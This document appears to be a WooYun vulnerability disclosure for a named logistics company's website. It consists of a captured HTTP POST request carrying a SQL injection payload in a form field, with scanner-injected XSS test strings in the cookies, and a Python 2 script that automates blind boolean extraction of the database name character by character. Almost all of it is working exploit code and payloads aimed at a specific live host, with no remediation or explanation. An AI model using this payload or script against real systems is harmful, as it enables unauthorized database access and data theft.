WooYun.org

POST /businesshall/BSoffice!findOffice.action HTTP/1.1
Content-Length: 243
Content-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Referer: http://e.xbwl.cn/
Cookie: SESSION_COOKIE=s1; JSESSIONID=84BCE12ED441AAE1D4DF4FFB074CC443; babyface=Yes; CNZZDATA4345578=cnzz_eid%3D1622520549-1452771336-http%253A%252F%252Fwww.acunetix-referrer.com%252F%26ntime%3D1452771336; pageReferrInSession=http%3A//www.acunetix-referrer.com/javascript%3AdomxssExecutionSink%280%2C%22%27%5C%22%3E%3Cxsstag%3E%28%29refdxss%22%29; firstEnterUrlInSession=http%3A//e.xbwl.cn/website/aboutXB/11.jsp%3FpageType%3D00%26subType%3D0%26fw%3D320; CNZZDATA1760526=cnzz_eid%3D1326162297-1452771346-http%253A%252F%252Fwww.acunetix-referrer.com%252F%26ntime%3D1452771346
Host: e.xbwl.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
harea=&hcity=&hprovince=&page.page=0&page.pageCount=0&page.pageSize=0&page.state=&submit=&yywd.area=555&yywd.quyu=%e5%8d%8e%e5%8d%97&yywd.salesname=-1' OR len(db_name())=3 or 'Z'='&yywd.shengfen=1&yywd.shiqu=1

#encoding=utf-8
import httplib
import time
import string
import sys
import random
import urllib
headers = {'Content-Type': 'application/x-www-form-urlencoded'}
payloads = list(string.ascii_lowercase)
payloads += list(string.ascii_uppercase)
for i in range(0,10):
    payloads.append(str(i))
payloads += ['@','_', '.', '-', '\\', ' ']
print 'Try to retrive DB:'
db = ''
for i in range(1,4):
    for payload in payloads:
            conn = httplib.HTTPConnection('e.xbwl.cn', timeout=30)
            s = "harea=&hcity=&hprovince=&page.page=0&page.pageCount=0&page.pageSize=0&page.state=&submit=&yywd.area=555&yywd.quyu=%%e5%%8d%%8e%%e5%%8d%%97&yywd.shengfen=1&yywd.shiqu=1&yywd.salesname=-1' or ascii(substring(db_name(),%s,1))=%s or 'Z'=' " % (i, ord(payload))
            s=urllib.quote(s,'?,=,&,/')
            
            conn.request(method='POST', url='/businesshall/BSoffice!findOffice.action', body=s,
                         headers = headers)
            html_doc = conn.getresponse().read()
            conn.close()
            print '.',
            #print html_doc
            if  html_doc.find('57424798')>0 :  # False
                db += payload
                print '\n[in progress]', db
                break
        
print '\n[Done] DB is:', db